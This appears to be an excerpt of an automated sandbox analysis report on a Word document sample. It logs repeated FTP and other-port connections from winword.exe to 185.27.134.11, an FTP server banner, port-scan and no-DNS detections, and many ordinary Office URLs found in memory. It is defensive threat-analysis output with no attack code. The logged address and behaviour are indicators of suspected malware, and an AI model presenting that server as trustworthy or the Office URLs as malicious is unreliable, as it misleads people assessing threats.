Source: global traffic	TCP traffic: 192.168.2.4:49717 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49717
Source: global traffic	TCP traffic: 192.168.2.4:49717 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 192.168.2.4:49717 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49717
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49717
Source: global traffic	TCP traffic: 192.168.2.4:49717 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 192.168.2.4:49717 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49717
Source: global traffic	TCP traffic: 192.168.2.4:49717 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 192.168.2.4:49717 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49717
Source: global traffic	TCP traffic: 192.168.2.4:49717 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 192.168.2.4:49717 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49717
Source: global traffic	TCP traffic: 192.168.2.4:49717 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 192.168.2.4:49718 -> 185.27.134.11:19868
Source: global traffic	TCP traffic: 185.27.134.11:19868 -> 192.168.2.4:49718
Source: global traffic	TCP traffic: 192.168.2.4:49718 -> 185.27.134.11:19868
Source: global traffic	TCP traffic: 192.168.2.4:49717 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49717
Source: global traffic	TCP traffic: 192.168.2.4:49717 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 192.168.2.4:49717 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49717
Source: global traffic	TCP traffic: 185.27.134.11:19868 -> 192.168.2.4:49718
Source: global traffic	TCP traffic: 185.27.134.11:19868 -> 192.168.2.4:49718
Source: global traffic	TCP traffic: 185.27.134.11:19868 -> 192.168.2.4:49718
Source: global traffic	TCP traffic: 185.27.134.11:19868 -> 192.168.2.4:49718
Source: global traffic	TCP traffic: 185.27.134.11:19868 -> 192.168.2.4:49718
Source: global traffic	TCP traffic: 185.27.134.11:19868 -> 192.168.2.4:49718
Source: global traffic	TCP traffic: 192.168.2.4:49717 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:19868 -> 192.168.2.4:49718
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49717
Source: global traffic	TCP traffic: 192.168.2.4:49718 -> 185.27.134.11:19868
Source: global traffic	TCP traffic: 192.168.2.4:49717 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 192.168.2.4:49718 -> 185.27.134.11:19868
Source: global traffic	TCP traffic: 192.168.2.4:49718 -> 185.27.134.11:19868
Source: global traffic	TCP traffic: 185.27.134.11:19868 -> 192.168.2.4:49718
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49709
Source: global traffic	TCP traffic: 192.168.2.4:49709 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49709
Source: global traffic	TCP traffic: 192.168.2.4:49709 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49713
Source: global traffic	TCP traffic: 192.168.2.4:49713 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49713
Source: global traffic	TCP traffic: 192.168.2.4:49713 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49708
Source: global traffic	TCP traffic: 192.168.2.4:49708 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49708
Source: global traffic	TCP traffic: 192.168.2.4:49708 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49717
Source: global traffic	TCP traffic: 192.168.2.4:49717 -> 185.27.134.11:21
Source: global traffic	TCP traffic: 185.27.134.11:21 -> 192.168.2.4:49717
Source: global traffic	TCP traffic: 192.168.2.4:49717 -> 185.27.134.11:21

Source: winword.exe

Memory has grown: Private usage: 0MB later: 65MB

Networking

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 185.27.134.11 ports 19273,1,2,30737,21,19868

Source: Joe Sandbox View

ASN Name: WILDCARD-ASWildcardUKLimitedGB WILDCARD-ASWildcardUKLimitedGB

Source: global traffic

TCP traffic: 192.168.2.4:49710 -> 185.27.134.11:19273

Source: unknown

FTP traffic detected: 185.27.134.11:21 -> 192.168.2.4:49708 220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 399 of 6900 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 399 of 6900 allowed.220-Local time is now 09:09. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 399 of 6900 allowed.220-Local time is now 09:09. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 399 of 6900 allowed.220-Local time is now 09:09. Server port: 21.220-This is a private system - No anonymous login220 You will be disconnected after 60 seconds of inactivity.

Source: unknown	TCP traffic detected without corresponding DNS query: 185.27.134.11
Source: unknown	TCP traffic detected without corresponding DNS query: 185.27.134.11
Source: unknown	TCP traffic detected without corresponding DNS query: 185.27.134.11
Source: unknown	TCP traffic detected without corresponding DNS query: 185.27.134.11
Source: unknown	TCP traffic detected without corresponding DNS query: 185.27.134.11
Source: unknown	TCP traffic detected without corresponding DNS query: 185.27.134.11
Source: unknown	TCP traffic detected without corresponding DNS query: 185.27.134.11
Source: unknown	TCP traffic detected without corresponding DNS query: 185.27.134.11
Source: unknown	TCP traffic detected without corresponding DNS query: 185.27.134.11
Source: unknown	TCP traffic detected without corresponding DNS query: 185.27.134.11
Source: unknown	TCP traffic detected without corresponding DNS query: 185.27.134.11
Source: unknown	TCP traffic detected without corresponding DNS query: 185.27.134.11
Source: unknown	TCP traffic detected without corresponding DNS query: 185.27.134.11
Source: unknown	TCP traffic detected without corresponding DNS query: 185.27.134.11
Source: unknown	TCP traffic detected without corresponding DNS query: 185.27.134.11
Source: unknown	TCP traffic detected without corresponding DNS query: 185.27.134.11
Source: unknown	TCP traffic detected without corresponding DNS query: 185.27.134.11
Source: unknown	TCP traffic detected without corresponding DNS query: 185.27.134.11
Source: unknown	TCP traffic detected without corresponding DNS query: 185.27.134.11
Source: unknown	TCP traffic detected without corresponding DNS query: 185.27.134.11
Source: unknown	TCP traffic detected without corresponding DNS query: 185.27.134.11
Source: unknown	TCP traffic detected without corresponding DNS query: 185.27.134.11
Source: unknown	TCP traffic detected without corresponding DNS query: 185.27.134.11
Source: unknown	TCP traffic detected without corresponding DNS query: 185.27.134.11
Source: unknown	TCP traffic detected without corresponding DNS query: 185.27.134.11
Source: unknown	TCP traffic detected without corresponding DNS query: 185.27.134.11
Source: unknown	TCP traffic detected without corresponding DNS query: 185.27.134.11
Source: unknown	TCP traffic detected without corresponding DNS query: 185.27.134.11
Source: unknown	TCP traffic detected without corresponding DNS query: 185.27.134.11
Source: unknown	TCP traffic detected without corresponding DNS query: 185.27.134.11
Source: unknown	TCP traffic detected without corresponding DNS query: 185.27.134.11
Source: unknown	TCP traffic detected without corresponding DNS query: 185.27.134.11
Source: unknown	TCP traffic detected without corresponding DNS query: 185.27.134.11
Source: unknown	TCP traffic detected without corresponding DNS query: 185.27.134.11
Source: unknown	TCP traffic detected without corresponding DNS query: 185.27.134.11
Source: unknown	TCP traffic detected without corresponding DNS query: 185.27.134.11
Source: unknown	TCP traffic detected without corresponding DNS query: 185.27.134.11
Source: unknown	TCP traffic detected without corresponding DNS query: 185.27.134.11
Source: unknown	TCP traffic detected without corresponding DNS query: 185.27.134.11
Source: unknown	TCP traffic detected without corresponding DNS query: 185.27.134.11
Source: unknown	TCP traffic detected without corresponding DNS query: 185.27.134.11
Source: unknown	TCP traffic detected without corresponding DNS query: 185.27.134.11
Source: unknown	TCP traffic detected without corresponding DNS query: 185.27.134.11
Source: unknown	TCP traffic detected without corresponding DNS query: 185.27.134.11
Source: unknown	TCP traffic detected without corresponding DNS query: 185.27.134.11
Source: unknown	TCP traffic detected without corresponding DNS query: 185.27.134.11
Source: unknown	TCP traffic detected without corresponding DNS query: 185.27.134.11
Source: unknown	TCP traffic detected without corresponding DNS query: 185.27.134.11
Source: unknown	TCP traffic detected without corresponding DNS query: 185.27.134.11
Source: unknown	TCP traffic detected without corresponding DNS query: 185.27.134.11

Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: http://b.c2r.ts.cdn.office.net/pr
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: http://olkflt.edog.officeapps.live.com/olkflt/outlookflighting.svc/api/glides
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: http://weather.service.msn.com/data.aspx
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/app/acquisitionlogging
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/app/download
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/authenticated
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/preinstalled
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/unauthenticated
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/orgid/appinstall/authenticated
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://addinslicensing.store.office.com/apps/remove
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://addinslicensing.store.office.com/commerce/query
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://addinslicensing.store.office.com/entitlement/query
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://addinslicensing.store.office.com/orgid/apps/remove
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://addinslicensing.store.office.com/orgid/entitlement/query
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://analysis.windows.net/powerbi/api
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://api.aadrm.com
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://api.aadrm.com/
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://api.addins.omex.office.net/appinfo/query
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://api.addins.omex.office.net/appstate/query
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://api.addins.store.office.com/addinstemplate
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://api.addins.store.office.com/app/query
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://api.addins.store.officeppe.com/addinstemplate
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://api.cortana.ai
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://api.diagnostics.office.com
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://api.diagnosticssdf.office.com
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://api.diagnosticssdf.office.com/v2/feedback
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://api.diagnosticssdf.office.com/v2/file
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://api.microsoftstream.com/api/
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://api.office.net
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://api.onedrive.com
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://api.powerbi.com/beta/myorg/imports
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasets
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/groups
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://api.scheduler.
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://apis.live.net/v5.0/
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://arc.msn.com/v4/api/selection
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://asgsmsproxyapi.azurewebsites.net/
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://augloop.office.com
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://augloop.office.com/v2
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://augloop.office.com;https://augloop-int.officeppe.com;https://augloop-dogfood.officeppe.com;h
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://autodiscover-s.outlook.com/
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://cdn.entity.
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/stat/images/OneDriveUpsell.png
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSyncClientUpsell
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://client-office365-tas.msedge.net/ab
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://clients.config.office.net/
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://clients.config.office.net/c2r/v1.0/InteractiveInstallation
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/android/policies
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/ios
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/mac
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/tenantassociationkey
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://cloudfiles.onenote.com/upload.aspx
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://config.edge.skype.com
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://config.edge.skype.com/config/v1/Office
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://config.edge.skype.com/config/v2/Office
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://cortana.ai
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://cortana.ai/api
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://cr.office.com
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://dataservice.o365filtering.com
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://dataservice.o365filtering.com/
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://dev.cortana.ai
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://dev0-api.acompli.net/autodetect
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://devnull.onenote.com
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://directory.services.
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://ecs.office.com/config/v2/Office
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://enrichment.osi.office.net/
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Refresh/v1
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Resolve/v1
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Search/v1
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/StockHistory/v1
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/ipcheck/v1
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/metadata.json
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/desktop/main.cshtml
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/web/main.cshtml
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://entitlement.diagnostics.office.com
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://entitlement.diagnosticssdf.office.com
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://excel.uservoice.com/forums/304936-excel-for-mobile-devices-tablets-phones-android
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://globaldisco.crm.dynamics.com
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://graph.ppe.windows.net
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://graph.ppe.windows.net/
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://graph.windows.net
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://graph.windows.net/
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetry
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3d
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?secureurl=1
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=icons&premium=1
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages&premium=1
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockvideos&premium=1
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://incidents.diagnostics.office.com
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://incidents.diagnosticssdf.office.com
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://inclient.store.office.com/gyro/client
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://inclient.store.office.com/gyro/clientstore
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Facebook
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/odc/insertmedia
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://invites.office.com/
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/Getvoices
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://lifecycle.office.com
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://login.microsoftonline.com/
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorize
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://login.windows.local
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://login.windows.net/common/oauth2/authorize
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://loki.delve.office.com/api/v1/configuration/officewin32/
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://lookup.onenote.com/lookup/geolocation/v1
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://management.azure.com
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://management.azure.com/
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://messaging.action.office.com/
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://messaging.action.office.com/setcampaignaction
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://messaging.action.office.com/setuseraction16
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://messaging.engagement.office.com/
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://messaging.engagement.office.com/campaignmetadataaggregator
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://messaging.lifecycle.office.com/
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://messaging.lifecycle.office.com/getcustommessage16
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://messaging.office.com/
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://metadata.templates.cdn.office.net/client/log
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://my.microsoftpersonalcontent.com
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://ncus.contentsync.
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://ncus.pagecontentsync.
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com/api/userauditrecord
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://o365diagnosticsppe-web.cloudapp.net
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://ocos-office365-s2s.msedge.net/ab
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://officeapps.live.com
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://officeci.azurewebsites.net/api/
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://officesetup.getmicrosoftkey.com
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://ogma.osi.office.net/TradukoApi/api/v1.0/
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentities
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentitiesupdated
